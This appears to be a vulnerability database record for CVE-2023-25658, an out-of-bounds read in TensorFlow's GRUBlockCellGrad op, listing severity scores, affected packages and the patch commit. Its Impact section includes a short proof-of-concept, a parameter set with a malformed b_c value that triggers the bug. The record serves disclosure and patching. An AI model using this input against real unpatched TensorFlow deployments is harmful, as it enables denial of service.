{"id":"CVE-2023-25658","aliases":["BIT-tensorflow-2023-25658","GHSA-68v3-g9cm-rmm6","PYSEC-2026-3120","PYSEC-2026-3286","PYSEC-2026-960"],"url":"https://o3.security/vulnerability/CVE-2023-25658","summary":"TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad","details":"### Impact\nOut of bounds read in GRUBlockCellGrad\n```python\nfunc = tf.raw_ops.GRUBlockCellGrad\n\npara = {'x': [[21.1, 156.2], [83.3, 115.4]], 'h_prev': array([[136.5],\n      [136.6]]), 'w_ru': array([[26.7,  0.8],\n      [47.9, 26.1],\n      [26.2, 26.3]]), 'w_c': array([[ 0.4],\n      [31.5],\n      [ 0.6]]), 'b_ru': array([0.1, 0.2 ], dtype=float32), 'b_c': 0x41414141, 'r': array([[0.3],\n      [0.4]], dtype=float32), 'u': array([[5.7],\n      [5.8]]), 'c': array([[52.9],\n      [53.1]]), 'd_h': array([[172.2],\n      [188.3 ]])}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ff459137c2716a2a60f7d441b855fcb466d778cb](https://github.com/tensorflow/tensorflow/commit/ff459137c2716a2a60f7d441b855fcb466d778cb).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx.\n","published":"2023-03-24T23:42:46.482Z","modified":"2026-10-28T10:38:30.355214193Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00383,"percentile":0.31464,"asOf":"2026-08-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"tensorflow","fixedVersion":"2.11.1"},{"ecosystem":"PyPI","name":"tensorflow-cpu","fixedVersion":"2.11.1"},{"ecosystem":"PyPI","name":"tensorflow-gpu","fixedVersion":"2.11.1"}],"fix":{"url":"https://github.com/tensorflow/tensorflow/commit/ff459137c2716a2a60f7d441b855fcb466d778cb","label":"tensorflow/tensorflow@ff45913"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/25xxx/CVE-2023-25658.json"},{"type":"ADVISORY","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-68v3-g9cm-rmm6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25658"},{"type":"FIX","url":"https://github.com/tensorflow/tensorflow/commit/ff459137c2716a2a60f7d441b855fcb466d778cb"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T10:38:30.355214193Z"}}